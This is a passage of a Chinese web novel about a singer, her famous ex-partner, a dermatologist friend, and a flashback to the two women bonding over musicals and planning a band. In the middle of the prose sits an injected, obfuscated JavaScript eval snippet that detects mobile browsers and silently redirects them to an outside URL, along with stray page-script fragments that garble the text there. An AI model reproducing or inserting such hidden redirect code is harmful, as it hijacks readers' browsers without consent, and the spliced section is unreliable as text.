“然后我就崴脚了,”她居然还在笑,不知是有意还是无意,赤足随着身体微微晃动,无意擦过许风扰腿间。 许风扰抬眼看了她一眼,没有说话。 那人又自顾自地皱了皱鼻子,理不直气也壮地冒出一句:“你今天和楚澄躲在卫生间里。” 她加重语气强调:“好长时间。” 听到这话,许风扰没好气地回:“关你什么事,” 当真是喝醉了,说话颠三倒四的,不能吃的醋也敢吃了,还胡说什么好长时间,明明楚澄就说几句话就走了。 柳听颂就提了一句,没再继续纠缠,就这样盯着许风扰看。 把许风扰看烦了,烦躁冒出一句:“谁送你过来的。” “梨子,” 许风扰对下午跟在她身边的助理还有点印象,记得是个很讨喜的圆脸女孩,表情松了下,问:“她还在下面等着吗?” 柳听颂点了点头,不知是明白过犹不及,还是红酒的后劲上来,竟老老实实地回答:“她不放心,还在楼下等着。” 许风扰顿时松了口气,说:“我让她送你回去。” 柳听颂点了点头,也没说好与不好,只是伸出双肩,看向许风扰。 许风扰欲言又止,最后还是叹了口气,任劳任怨地站起身,将人打横抱起。 老小区的坏处就是这样,一扯到安装电梯就一堆事,商量了几年还是没个结果,最后还是只能依靠着楼梯上下。 脚步声逐渐往下,两人都没有开口,仍由静谧笼罩。 须臾,等待许久的汽车终于无声驶出小区。 许风扰一下子跌进大床里,叹息声在漆黑夜色中格外明显。 最后还是那样,两人都很直接,没有半点隐瞒,将自己的全部想法都摊开,可一个人拒绝靠近,一个人紧追不舍、不肯放弃,再说什么都是白费。 想到这儿,许风扰又是一声叹息。 理不出头绪,也不知道该怎么办好,只能暂且搁置。 最后只能抬起手,看着那不知什么时候长出来的小痣,咬牙决定,明天一定要将这痣祛掉。 16. 第十六章 次日,中午。 匆匆披上白大褂的女人,随手将头发一扎,接着道:“你咋来那么早?” 她转身将房门一关,便将外头的嘈杂隔绝,快步向许风扰走来。 “我刚吃饭准备趴在桌上眯一会,你就过来了,”她苦着脸直抱怨,清秀眉眼间全是打工人的怨气。 早就坐在里头的许风扰,难得露出一丝愧疚,解释道:“昨晚没睡着,早上眯了一会就过来了。” 她声音一顿,含糊道:“你知道的,我看着心里烦。” 提起这事,方才气汹汹的人骤然泄了气,只问:“你感冒好些了?” “应该、还是没力气,”许风扰摇了摇头。 那人往靠背椅子一坐,就道:“我等会带你去开点药。” “成,”许风扰点了点头。 来人是许风扰的发小,名叫李见白。 之前许风扰被寄养在外婆家时,和李家是对门,又因李家父母也都是医生、平常十分忙碌的缘故,两小孩打小就被丢一块,谁家家长有空就给她两带口饭,实在不行就丢点钱,让两小孩一起去小区外的餐馆吃个盖饭。 李见白小时候还怕黑,父母加班不在的夜晚,总大半夜抱着枕头,去敲许风扰的房门。 那时的许风扰也没那么酷,到底是个小孩,一个人待在漆黑的房子里也会怕。 于是,两个小孩就经常抱着枕头缩在床头,有一搭没一搭的聊天。 比如等许风扰继承家业之后,她就变成了霸总的医生朋友。 许风扰要大半夜打电话,催着李见白过来她的豪宅,给她的虐恋对象看病。 为此,李见白还特地练习了一段时间,保证自己可以挤出三分惊喜、三分颤抖、五分感动,万分感慨地说出一句:“许总从来没有像这样关心过一个人。” 可惜她的练习并未派上用场,倒不是许风扰的问题,是李见白学的是皮肤科。 众所周知,霸总文女主是不可能得皮肤病的,必须肌若白雪,吹弹可破,最多就生点不会影响外貌的大病。 “伸手,我看看。” 虽然之前就线上联系过,李见白为了保险起见,仍要先看过一遍,直到彻底确定后,她才有些犹豫地开口:“就是一个不起眼的小痣,要是你不注意看,找都找不到……” 她有心劝许风扰一句,毕竟从医学角度来看,这颗小痣根本无关紧要,没必要祛除,而且…… 她抬起脑袋,看了许风扰一眼,话到嘴边又说不出口。 许风扰显然知道她想说什么,却道:“现在去敷麻药?” 来了太多次,她甚至比李见白都要熟悉流程。 像她这种不起眼的小痣,是不需要手术切除的,只需敷个麻药,再用激光祛掉就好。 李见白叹了口气,当即站起身来,就道:“走,我带你过去。” 一番折腾后,连带开感冒药,也不过半个小时,李见光把药袋子往她怀里一丢,连个嘱咐都懒得,直接往靠背椅子上一躺,哼哼几声就开始抱怨:“你就不能下午上班的时候来吗?让我光明正大地偷一会懒。” 她性子向来懒散,还没毕业前就想着去私立医院,结果还没有拿到毕业证,就被父母直接塞进这边,一天到晚忙得像个陀螺似的。 许风扰坐到她的对面。 自从上大学后,她们两人一个忙着学业,一个忙着搞音乐,见面的机会越来越少,经常是刚定下时间,又因为各种理由放弃,眼下难得见上一面,她并不着急离开。 李见白也是如此,虽然抱怨了两句休息时间没了,可话音一转,又絮絮叨叨和许风扰聊起来。 “自从我搬出来后,我父母反倒贴上来,以前十天半个月见不着一次面,现在居然一个星期能吃上一顿饭。” “就是总唠叨什么结婚,烦死了。” “这破班上得我心力憔悴,上学那会还担心科室里的勾心斗角,现在我往这一坐就是看诊,除了中午这点时间,其他时候就没停下来过,想勾都没处勾。” 李见白说来说去,又扯到许风扰身上,说:“你外婆刚从主任位置退下来了,终究是年纪大,没那么多精力了。” 之前的话,许风扰就算不大懂,也会出声回应,可到这里,她表情一僵,连一个“嗯”都没有。 幸好李见白只是提了一嘴,下一秒又道:“你和你那前妻姐见面了?我昨天看见的V博了。” 她摆出一副吃瓜的模样,拿过旁边保温杯,用纸杯倒了一杯后,再给许风扰,自己则抱着个大壶,兴致勃勃道:“感觉怎么样?能不能死灰复燃?” 她顺带还解释了一句:“早上洗的保温杯,还叫人给我消毒了,茶水泡到现在,忙得一口没喝。” 昨儿燃陨等人都怕许风扰难过,一直没敢开口问,想着等过几日一起排练的时候再说,现在倒好,先让李见白抢先一步。 许风扰双手捧起纸杯,吹了口热气,里头的茶叶跟着飘起。 这上班后就是不一样,之前的李见白最爱喝的是冰可乐,现在…… 许风扰想了想,说:“我那边有两包枸杞,过段时间拿给你。” 李见白没拒绝,只说:“你别给我转移话题,到底能不能行?” 她继续道:“我昨儿太忙,没来得及看直播,那破节目又不给录屏,我刚翻到一个偷录的,三秒之后就被举报下架了,就只能看看粉丝剪辑的片段和截屏,过过吃瓜瘾。” 张导的做法无可厚非,若是早早就有人发出全部的直播内容,那收视率必然腰斩一大截,只能要求旁人不允许录屏。 而粉丝截取的些许片段倒不碍事,反而能起到很好的宣传作用。 就是苦了李见白,那声音越说越幽怨。 本来打工就烦,现在连瓜到没得吃。 提到这个,她话音一转,打趣道:“不过,你那些小丈母娘好像不怎么看得上你啊?” “我看评论,她们都骂到工作室那边了,骂经纪人乱给柳天后接活,重返娱乐圈的第一个综艺,居然随便成这样,既没有提前宣发,给粉丝暗示一两句,也没有联系过应援会,甚至连节目都很一般。” 其实这个综艺还算不错,从第一期开始就有不错的热度,更出了两首爆火的热单,可奈何柳听颂的咖位实在太大,这小小节目哪里配得上她。 刚开始粉丝还沉浸在天后回归的狂喜中,忙着四处宣传和看直播、发弹幕,即便有不满的声音也被暂时压下,可现在回过味来,就开始闹腾了。 先骂工作室,再嫌弃节目组,然后再贬低燃陨乐队,许风扰态度最不好的几段都被截下来,仍节目组怎么删都删不掉,直接就给许风扰扣上不尊重前辈、轻狂、绿茶的帽子。 幸好许风扰已经很就没打开大号,否则必然会看见几千条不重样的骂人评论。 但这又怎样? 许风扰捧着纸杯,低头抿了一口茶水。 虽然戒了冰可乐,但李见白没也亏待自己的嘴,把往日旁人送给自家父母的好茶叶,全都搬到自己的小屋,昨儿银针,今儿龙井,主打一个享受。 “你别给我装听不见,喝了我的茶还不老实交代是吧?” 李见白催促着,还不忘强调一嘴:“这茶三千一两呢。” “我这就去举报,“许风扰在这个时候就接得快了。 李见白一点没怂:“快点去快点去,把我爸妈都关进去,我就辞职,住到你家去……” 她突然笑起来,揶揄道:“就是这床和沙发恐怕是没有我的位置了,只能随便找个地方打地铺了。” 她自然是去过许风扰的家,当然清楚屋里头就一个仅容一人躺着的懒人沙发,之所以这样说,是在故意调侃许风扰。 说起这个,还得提起她第一次知晓许风扰与柳听颂的关系的往事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368285|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从两人考入不同大学后,李见白忙着学业,许风扰忙着叛逆,便许久没能见面,但许风扰家里头的电子锁密码,李见白是一直知道的。 那天刚好放假,她不想回家,就寻思着来许风扰这儿躺会。 因之前她也常往这边跑的缘故,连个招呼都懒得打,直接输了密码就开门。 结果一抬眼,就瞅见自己的好友被一个陌生女人抱在怀里,两人陷在沙发里,睡得那叫一个香,给李见白吓的,直挺挺站在原地,愣是不知道怎么办,最后还是那两人被声响吵醒,才发现屋子里多了一个人。 难以言说那一天的李见白受到多少惊吓,直到今天还耿耿于怀。 她忍不住再说:“幸好你们那天就只是困了,抱在沙发睡了一会,要是做了别的……” “行了行了,”许风扰出声打断,过了那么久还是觉得尴尬,可下一秒又觉得还不如一直尴尬着。 “所以你们还能死灰复燃不?”李见白又把话题绕了回来。 许风扰实在无奈,知道这人的性子,若再不回答,不知道这人又能提起多少往事,只能叹气道:“不会吧……” “吧?”李见白挑了挑眉。 若是没有经历昨晚,许风扰或许能给出肯定又坚决的答复,可如今她知晓了柳听颂的坚决,便忍不住怀疑起来。 “啧啧啧,我就说你还爱……” 话还没有说完,那喝完的纸杯就被丢到她身上了。 当真是被逼急了,连许风扰自个都没理清楚的事情,又怎么能和别人说,也就眼前这个发小,才能逼着她给出一个回答,若换作旁人,许风扰早就翻脸走人了。 被砸的李见白也不生气,笑呵呵地把纸杯往垃圾桶里一丢,终于挤出一句像样的人话。 “我就知道你旧情难舍,你当时分手时,闹成那样,我每次想起来就觉得心慌。” “可她之前做的事情确实过分,站在朋友的角度,我希望你慎重考虑,”嬉笑淡去,李见白面色严肃,终于看出点医生的模样,但这感觉十分让人难受,好像被下了什么重病通知书一般。 许风扰眼帘垂落,掩去情绪,只道:“我知道了。” 再好的朋友,也只能点到为止,李见白没再多说,拉开抽屉拿出两张票,往对方那一递,道:“前两天有个病人家属送的。” 许风扰低头一看,居然是两张音乐剧的票。 “说是午间路过,听见我屋里在放歌,就寻思着我喜欢这些,想方设法给我抢到了。” 李见白哭笑不得:“我哪喜欢这些啊?听都听不明白,你找个人帮我去看了吧。” 许风扰还没有开口,她又说:“这事还得怪你,要不是我寻思着放一下你的歌,给你们乐队凑点播放量,她也不会听见这些。” 因许风扰十分喜欢音乐剧的缘故,燃陨乐队的几首歌都采纳音乐剧的选段,所以那家属听到后,产生误会也正常。 而这部音乐剧…… 许风扰之前也曾关注过,只是这个剧团长期在国外演出,今年才开始全球巡演,许风扰虽然动过心,但因工作安排,只能无奈放弃。 但没想到的是因上一场的火热,她们竟又在S市多加了一场。 许风扰没有拒绝,将票一收就道:“谢了。” 她明晚正好有时间。 李见白摆了摆手,满不在乎道:“你客气啥,下次请吃我吃饭就行。” “我这马上要上班了,下次见面再聊。” “成……” 话音随风散开,泯灭在炙热日光中。 两张音乐剧的票被丢在客厅桌面,许风扰偏头看着,思索着该邀请谁一同前往。 同样喜爱音乐剧的熟悉身影,浮现在脑海中,试图压制却有声音响起。 “你也喜欢这个?” 记忆中的少女眼睛亮起,惊喜地望向对方。 17、第十七章 虽然柳听颂是以老师的名义,与许风扰住到一块。 可在此之前两人都毫无接触,除了荧幕上那点了解,两个人完全陌生。 即便一下子住在一块,也难以快速熟悉,相处中总带着几分生硬与尴尬,直到破冰的机会出现。 那日,许风扰关注许久的音乐剧《亚瑟王传奇》终于有了官摄,万分雀跃下,也不再满足于小小的手机屏幕,当即从房间跑到客厅,打开早已落灰的120寸电视,一番折腾后才搞好投屏。 那日恰好是s市在一年之中最热的几天,就连天天喊着时间紧迫的高中都放了假,即便屋里的空调二十四小时不间断,也难挡热意涌来。 许风扰不过在客厅来回跑了几趟,都热得直冒汗,更别说因事被迫出门的柳听颂,一回来就直奔浴室去,水声到现在都没见停。 许风扰随手抽了张纸,将额头的汗抹去,眼神不经意往水声响起处去,未曾停留一秒就急忙收回。 可水汽却从门缝挤出,带着薄荷沐浴露的清凉,幽幽往鼻尖绕。 之前大大咧咧半躺在沙发的少女,无意识直起腰,变得规规矩矩。 不过很快,当大屏的视频开始播放时,她便完全陷入其中。 其实已经看过很多遍,甚至许风扰都能卷着舌头,跟着哼两句,标不标准不知道,但音调绝对正确。 她看得入迷,完全忽略了轻微的开门声,有人趿拉着吸满水的拖鞋往房间走,片刻之后又走出。 脚步停留在客厅不远处,像在往这边看,片刻之后又踏进厨房。 许风扰完全不知情,不知不觉又把腿盘到沙发上,双手将抱枕压在胸前。 她那会还没染头,柔顺的黑发随意披着,发尾直至肩胛骨下,只穿着宽大白t和三分裤,身材高挑又匀称,脸颊还带未褪去的婴儿肥,弱化了深邃轮廓带来的中性,更稚嫩柔和,透着股年轻的朝气。 随着剧情的变化,怀里的抱枕被勒紧,表情也越发专注。 厨房那边传来刀切菜板的声音,再过片刻,有人端着盘子走过来,脚步很轻,放下盘子的动作更轻,几乎微不可闻。 许风扰虽入迷,却不是彻底瞎了,余光窥见人影,吓得浑身一抖,要不是腿还盘着,差点就站起来。 “老、老师,”她连忙喊了一声。 柳听颂比她年长五岁,这年刚好二十三,虽还是个略显青涩的年纪,但也比许风扰好得多,起码不那么一惊一乍,像个随时会被吓到的兔子。 “吃点水果,”柳听颂下意识将声音放轻了些,担忧又吓到某人。 闻言,对面那人慌慌张张站起,手在裤缝大力摩擦几下,刚抬手要接又急忙收回来,说:“我去洗个手。” “有叉子,”柳听颂不得不提醒一句。 刚踏出去的腿脚又缩了回来。 “坐下吃,”柳听颂再出声。 许风扰就像个呆呆愣愣的机器人,对方说一句她就做一点。 这不,柳听颂话音刚落下,她立刻就坐下,双腿并起,手放膝盖,脊背挺得笔直,规矩得不行,哪怕抽出直尺比量,也挑不出半点差错。 看见她这幅模样,柳听颂好气又好笑,最后还是无可奈何地叹息道:“吃点水果罢了,怕什么?” “我又不会吃人。” 许风扰僵着脑袋点了点头,然后颤颤巍巍伸出手,拿过旁边铁质小叉,挑了个最边缘的西瓜小块。 不怪她如此紧张,虽然许母从事于这方面,但许风扰长期住在外婆家,也就逢年过节能和母亲见次面,每次都是来去匆匆,更别提带许风扰去公司看看。 所以在许风扰眼中,自个和娱乐圈还隔着十万八千里。 而现在,只在屏幕上见过的人,突然在自己面前晃,谁能平和淡然下来? 而且…… 许风扰余光一瞥,又赶紧收回来,她还挺喜欢柳听颂的。 崇拜的那种喜欢。 思绪间,柳听颂已走向阳台,将两边窗帘拉扯合上,客厅陷入昏昏沉沉的朦胧里,还在播放的屏幕变得越发清晰。 许风扰意识飘远,却不敢乱想,视线定在屏幕上,看似专注,实际大脑一片空白,直到柳听颂又走回来,坐到她的旁边。 沙发随之往下陷,沐浴露的香气散开,比之前更近。 许风扰呼吸重了些,又刻意放缓。 咬在齿间的西瓜破碎,泛起丝丝甜味。 “我调到开头?”许风扰终于主动开口了一次。 音乐剧节奏紧凑,哪怕只播了十几分钟,也错过了许多剧情,乍一看还是挺难理解的。 但柳听颂摇了摇头,只道:“没事。” 怕许风扰误会,她又补充了句:“我之前看过几遍。” “几遍?”许风扰抓住关键词,眼睛亮起来,惊喜之下忘记拘束,当即就道:“你也喜欢这个?” “喜欢,”柳听颂十分坦然,没有遮掩。 少女像一下子找到了同好,腿往沙发上一盘,侧过身就道:“你喜欢哪一个?” “万世巨星,”柳听颂回答。 许风扰的眼睛更亮了,当即问:“那一版?” 万世巨星有英俄两版,英版更出名也更有争议。 “俄版,”柳听颂回答的很快。 “我也比较喜欢那一版,”许风扰往前倾,将两人距离拉远。 柳听颂注意到了却没提醒,反而单手端起果盘,往对方那边递,同时道:“那你呢?” 许风扰叉了块哈密瓜,咬着果肉就道:“我喜欢亚瑟王传奇。” 她眼神示意屏幕,说:“就是这个版本。” 柳听颂看着屏幕,也不知是什么心思,居然点了点头,冒出一句:“挺好的。” 明明是正常的语气,可许风扰却莫名感到一阵羞窘。 比起柳听颂喜欢的,她喜欢的这部音乐剧就幼稚很多,概括来说就是亚瑟王拔出圣剑,在梅林等人的帮助下夺回属于自己的王位,然后迎娶王后,又被亲姐姐陷害,被王后误会,然后头上带绿的故事,比起其他,更像是成年版的童话。 奇怪感受作祟,许风扰憋出一句解释:“这一版的亚瑟王塑造的很好。” 柳听颂点头,像是没有察觉到对方的情绪,说:“我喜欢桂妮维亚册封兰斯洛特的那一段。” 这一段在剧中很出名,对一切一无所知的亚瑟,还沉浸即将结婚与得到一名忠心骑士的喜悦中,可王后与兰斯洛特却已开始摇摆、纠结,只剩下一个不断渴望承诺的亚瑟,一个人孤独坐回王位。 许风扰眉眼塌了塌,说:“我也喜欢那一段,但更喜欢亚瑟和桂妮维亚刚开始相爱的那一段。” 柳听颂偏头瞧了她一眼,眼底笑意一闪而过,只道:“挺好的。” 怪像哄小孩的。 气得许风扰鼓起腮帮子,又吸下去,当场表演了一个河豚。 柳听颂眉眼舒展,拿过果盘递向对面,柔声道:“再吃些。” 哪有人这样哄别人的。 许风扰叉了块西瓜,狠狠咬住。 因聊天的缘故,身体无意识向对方靠,被下陷的沙发推着靠近,半米的间隔只剩下巴掌大,盘起的腿松了松,膝盖触碰对方的大腿。 柳听颂注意到了,却没有开口提醒,好像还在专注看屏幕,抽空说了句:“怎么会喜欢这个?” 音乐剧在国内的发展相对迟缓,早些年甚至要用灰姑娘这种动画电影举例,才能让人恍然明白,最后又总结为国外的京剧,很少有人愿意真正了解,直到后面几年被人搬上大荧幕,做成综艺后,才收获了大批粉丝。 不过,柳听颂和许风扰聊天这会,综艺还未拍出,音乐剧还是那样冷门,就连看个视频,都要搬运组去翻墙,再等一个好心的翻译组翻译。 “小学时候,我妈给我请了个钢琴老师,每天晚上带我弹两个小时钢琴,”许风扰说得很随意。 虽然许母不喜许风扰进娱乐圈,但也受身边人的影响,觉得小孩得学点什么高雅乐器,熏陶一下气质,连招呼都没提前打,就做出决定。 等许风扰放学回来,打开门一看,客厅里就多了一架看起来很贵的三角钢琴。 而母亲的助理就站在钢琴旁边,语气冷淡地转达上司的意思。 “老师担忧我一个人在家会害怕,每次都找借口多留一会,给我放她到处搜罗的音乐剧。” “我觉得很有意思,”许风扰补充了一句。 柳听颂点了点头。 说者随意,刻意简短,只当做普通小事讲述,听者也配合,没有多问,没露出其余表情,默契地将这事掀过。 柳听颂看似漫不经心地开口:“吃颗葡萄,挺甜的。” 另一人也听话,叫吃什么就吃什么,腮帮子被果肉塞得鼓起,随着咬动而上下晃动,像只有着漂亮眼睛的松鼠。 柳听颂的余光停留,好半天才移开。 那人不曾察觉,罕见的分神,一心分作三用,一份在前头屏幕,一份在齿间水果,另一份在触碰到对方、却没有移开的膝盖处。 因刚洗过澡的缘故,柳听颂穿得清凉,浅灰的露腰背心加三分牛仔裤,仅擦拭过一遍的发丝,贴着背心,留下湿痕,露出的肌理白皙又紧致,曲线明晰。 许风扰没敢看,每次视线出现偏移就会立刻挪回,可贴着对方的腿却一点没后退。 直到那人突然开口,喊道:“许风扰。” 连名带姓的称谓,让许风扰吓得一激灵,连忙转头,一副做了亏心事的心虚模样。《 》 18、第十八章 “怎、怎么了?”许风扰嘴里还有葡萄,声音含糊,试图遮掩紧张却更显心虚。 年长那位看出些许端倪,却没有揭穿,语气不变,只问:“你不是说你想玩音乐吗?” 许风扰偷偷松了口气,也不知道自己在不安什么,把这一切都归结于对崇拜对象的不自在,然后将剩下果肉一咽,当即回应:“是的。” 提到这事,旁的心思都歇下来,许风扰表情变得正经。 “你想往哪方面发展?” “音乐剧?”柳听颂不由联系到这方面。 “不、不是,”许风扰急忙将果肉咽下,连声否认。 “嗯?”柳听颂偏头看她,又道:“总得有一个具体的方向。” 怕被对方误会,以为自己只是叛逆,为了和母亲胡闹折腾,旁的一点没考虑过,许风扰连忙解释道:“我想往乐队方面发展。” 这是柳听颂没想到的,下意识重复道:“摇滚?” 她又接道:“摇滚莫扎特?黑与白?” 许风扰的眼睛一亮又一亮,已完全将柳听颂当同好看待,眼睛一弯就笑:“有这方面的原因。” 音乐剧的形式多变,不拘于一种唱法,甚至可以用摇滚结合其中,柳听颂提到的两部音乐剧,就是其中较为出名的摇滚改编。 几日未化解的生疏,就这样荡然无存,许风扰不自觉地再贴过来,宽大衣袖扫过对方手臂。 “不过我更喜欢后朋,”许风扰补充,又道:“其他也行,我觉得都可以尝试,不想太拘着自己。” 柳听颂微微点头,表示赞同。 有个大方向就好,其余可以多尝试,没必要把自己定死在一种风格里,最后听众腻了,自己也烦。 “那乐队的人……” 提起这事,许风扰眼神一飘忽,十分心虚道:“就我一个。” “我之前就不认识几个玩音乐的,刚上大学又被我妈管着,哪能认识什么人,”她越说,声音越小。 柳听颂想了想,又问:“键盘、吉他手、贝斯、鼓手、主唱你能占哪一个位置?” 她所说的是一般乐队的最低配置,但也有许多乐队会进行删减增加,比如让键盘兼顾鼓声,吉他手和贝斯手担任主唱,或者有多名贝斯和吉他手,主唱和副唱。 又或者添加不同的乐器在乐队中,琵琶、大提琴、古筝只要想,都可以融入其中。 但看着许风扰如今的状态,还是该按照一般配置准备,以后能折腾别的了,再去进行删减或添加。 许风扰像个被老师突然提问的学生,结结巴巴回答:“唱歌可以,钢琴学过几年、应该可以当键盘?吉他也学过一点,但是不多。” 在诸多乐器中,许风扰其实对吉他更感兴趣,之前知晓许母要让她学乐器时,她还专门打电话问过,想让母亲将钢琴换成吉他,可吉他入门简单,哪怕囊中羞涩的人,也能咬咬牙买个几百的,怪不得被评价为平民乐器。 所以许母怎么可能同意? 让许风扰学乐器,本就基于那点跟随“上流”的心思,想着让她培养点气质、情操,最终目的还是想让许风扰成为她合格的继任者,怎么可能同意许风扰学什么平民乐器。 就连许风扰会的这点吉他,还是自个在网上翻视频自学的。 柳听颂眉头微皱,刚刚还觉得许风扰有点靠谱,但现在…… 余光瞧见旁边,那人自说完后就满脸忐忑,小心翼翼地看着柳听颂,终究是个什么都没经历过的小孩。 柳听颂松开眉头,干脆道:“明天你和我出门,先找个录音棚录音看看。” 行不行嘴上说了不算,还是得看看具体效果。 另外…… 柳听颂眼帘一抬,便道:“贝斯喜欢吗?” 许风扰茫然点了点头。 “那就试一试贝斯,”柳听颂拍板决定。 键盘和钢琴看似一样,但本质大不相同,前者只是长得像钢琴,但其实应该叫做合成器,可以模仿钢琴、萨克斯、架子鼓等各种声音,同时更偏向于流行乐,而钢琴则是古典乐器。 一个好的键盘手,那必然是六边形战士,能让乐队敢于尝试更多可能,将乐曲的编排变得更丰富。 而电吉他是乐队中最主要的乐器之一,以推弦、滑音等技巧,加强乐曲的旋律性和律动性。 如此可见两者对乐队的重要性,像许风扰这样的半吊子,实在没必要为了组成乐队而硬上。 而贝斯手,并不是说它不重要,它甚至可以被喊做乐队的“心跳”,负责乐队低音部分,稳定和声和节奏,并配合鼓的重音将曲子的氛围呈现,若是没有贝斯,乐队的节奏就容易跑偏,缺乏空间感,变得轻飘飘的。 但贝斯入门简单,就好像上学时候的文科,只要多努努力就能及格,但要想考满分却极难。 好些乐队的贝斯手,都轮为只弹奏根音的背景板,还传出不少贝斯笑话。 例如被喊作四弦吉他,大号尤克里里。 一个乐队最不能缺少的就是贝斯手,不然就没有人拿外卖和调节乐队矛盾了。 那个抱着大号尤克里里的人,为什么手一直动,却没有发出声音。 为什么贝斯被成为乐队的灵魂,因为灵魂看不见。 但是,一个优秀的贝斯手,可以无限拉高整个乐队的上限。 比如国外的redhotchilipeppers和queen,还有国内的沉舟乐队,都有一个优秀贝斯手,将贝斯的那股特有的“骚”劲融入曲风之中,变得格外独特。 柳听颂如此说,便是仔细考虑过,如今虽说着玩乐队,可整个乐队就只有许风扰一个人,招人不易,她要是能担任主唱和贝斯,便少了三个大难题。 再说吉他改贝斯,好歹也是有点基础在,不像重新开始那么难,若是许风扰没天赋,后面就当个只弹跟音的主唱,若是有天赋,再加之勤加练习,以后也能带着乐队大步向往前。 另外,还有两个星期就要放暑假了,这段空闲时间该如何利用…… 只一瞬间,柳听颂便想到许多,可那么多东西,还得看看明天的录音效果如何,要是许风扰真不行,再怎么考虑也没有用。 思绪暂时停下,再看对面的许风扰,早已浮现雀跃激动之色,即便努力压制,也难以遮掩,只能重重一点头,说了一声:“好!” 柳听颂沉默了下,没有将其他担忧说出,转头又看向屏幕。 看得出来,她是真的喜欢这些,转眼就沉浸其中。 音乐声在客厅环绕,随着时间流逝,炙热日光总算缓和一点,不再烧得人皮肤刺疼,屋子里也跟着暗了些,之前满满当当的果盘,就只剩下一堆汁液和残留的香气。 许是亢奋又激动的情绪作祟,许风扰盯了屏幕半点,往日能让自己全神贯注的东西,现在却一点用都没有,脑子里全是杂七杂八的东西。 之前无意拉近的距离,又被许风扰一点点挪开,小心留出些许缝隙。 旁边的女人好似无所察觉,清亮眼眸倒映着音乐剧里的内容,灯光闪烁间,眼眸的波光也跟着摇曳晃动。 许风扰余光一瞥。 之前湿漉漉的发丝早干了,被柳听颂抬手挽在脑后,露出半边侧脸,许风扰不敢看,视线停留在对方脖颈。 柳听颂肤色白净,侧颈线条纤长流畅,青色脉络隐藏在薄皮中,随着线条,微微发颤,恰似白皙暖玉,又比暖玉更柔滑,再往下…… 许风扰强行移开视线,头一回压着自己专心看剧,可不知是不是巧合,屏幕上刚好就轮到亚瑟的亲姐姐,利用幻术,让亚瑟误以为她是王后的那一段。 想到接下来会发生什么,许风扰腾一下站起,慌慌张张就道:“我前两天泡的内衣没洗,我去洗了。” 她前几日来了月经,无意脏了裤子,只能先泡在盆里,等月经停了再洗。 闻言,柳听颂没有阻拦,只是点了点头表示知道。 许风扰离开的脚步匆匆,甚至差点撞到旁边的木架隔断,将连关门声都比之前大了不少,发出一声重重的“嘭”。 柳听颂收回视线,屏幕上头刚好就是王姐跨坐到亚瑟身上的那段,其中内容不必多说。 柳听颂眼帘扑扇,抬手抚过自己的脖颈,摩挲几下后才放下。 只片刻,就恢复了之前的模样,看不出半点端倪。 至于里头的人,终究是年纪小的那个,面皮薄也沉不住气,这下浑浑噩噩的,耳垂红得滴血,无意识地搓洗着里头的小件。 盆里的水换了一茬又一茬,不知搓洗了多少会,许风扰才缓过一点神,正准备把盆丢一边,自己捧水洗把脸,降降温,可视线刚往下落,又僵住。 手中被搓洗干净的这件,可不是她熟悉的内衣、内裤…… 再联想一下,不久前柳听颂刚洗澡出来…… 刚将降下去的温度,瞬间又往脸上涌,从脖颈、耳垂到脸颊,没一处不红透。 许风扰僵在原地,完全不知该如何应对。 再过一段时间,屏幕里的音乐剧已到尾声,主演一起牵手往前,向观众鞠躬感谢。 柳听颂回过神来,这才察觉到许风扰已经在里头停留许久,她皱了皱眉,当即起身往那边走去。 “你怎么……”话还没有说完,人就先僵在卫生间门口。 这一次,柳听颂没再能保持住年长者的淡然镇定,和许风扰一并红了脸。《 》 19、第十九章 日光洒落,从百叶窗帘的缝隙中溜入,被分割成一条条竖直光条,映在装修简约的办公室内。 里头的两人隔着一张办公桌,相对而坐。 坐在办公桌外的女人,大抵有三十几岁,很干练的打扮,耳垂挂着一对夸张的金色圆环坠子,随着激烈的说话声,摇摇晃晃。 对面的柳听颂面色如常,叫人看不出喜怒,偶尔点个头,表示自己在听。 杜语蓉说得口干舌燥,拿过桌面水杯一饮而尽,再往对面一看,那人还是一副事不关己的老神在在模样。 她气得心脏都跟着抽疼,面容也变得扭曲。 她和柳听颂认识许多年了,她之前就和现在的梨子一样,是跟在柳听颂身后跑来跑去的小助理,平日就做些端茶倒水开车的活计。 直至原本带着柳听颂的经纪人——许惊鸿,越来越忙碌,目光不再局限于娱乐圈,甚至跨行往房地产跑后,柳听颂就主动向对方推荐了杜语蓉。 小助理一朝起飞,成为潜力无限的柳天后经纪人,从此就抱紧这粗大腿,从国内到国外又回国,和前司解约再成立工作室,她没有前一个经纪人那么大的野心,只管守着柳听颂这颗摇钱树。 如今的工作室,除去柳听颂外,就数她股份最多,员工在私底下都喊她二老板。 再说,以柳听颂如今的身价,哪怕什么都不做,单是各种顶奢代言,就足以养活整个工作室,甚至还有不少剩余。 按理说,她也该心满意足了,但柳听颂却不让她省心,上一次中途离席,偷偷去看什么演出,还被人认出,吵上了热搜。 吓得她喊人起来连夜加班,愣是将这件事含糊掩盖。 她柳听颂倒是厉害,嘴皮一张一合,就说不用管。 她倒也不想想,那可是宝格美的晚会,她一个新签约的代言人,那么不给金主面子,那边会怎么想? 艺人胡闹,她扫尾,极力应付宝格美的那堆人。 可这事还没过去多久,她又自降身价去一个小综艺里当嘉宾,看镜头里、那个那个小小的硬板凳,她家柳天后哪里那么委屈过? 她去哪里不是c位,镜头定在脸上,好久都不见挪动! 可这个直播呢? 杜语蓉收到消息后,才看了十多分钟直播,就气到想开车想冲过去,提着那张导的领子质问。 你在干嘛?你在干嘛! 那可是我们家的柳天后,你居然敢让她坐最旁边,还是一个连靠背都没有的硬板凳! 我家天后坐了那么久,居然连杯水都没有,你们怎么回事! 为什么这个话题没有带我们天后,凭什么凭什么! 热搜! 快给我安排热搜!这张导怎么回事,速度那么慢。 总而言之,杜语蓉就像个有事业心的护犊子母鸡,一面想带着柳听颂搞事业,一面又任劳任怨地给柳听颂扫尾,虽然偶尔说话不好听,但是心肠很软,不然也不会跟在柳听颂身边那么多年。 可粉丝不知道这些,只管冲到工作室的v博底下骂,说她们为了钱,什么综艺都都接,对柳听颂一点不负责。 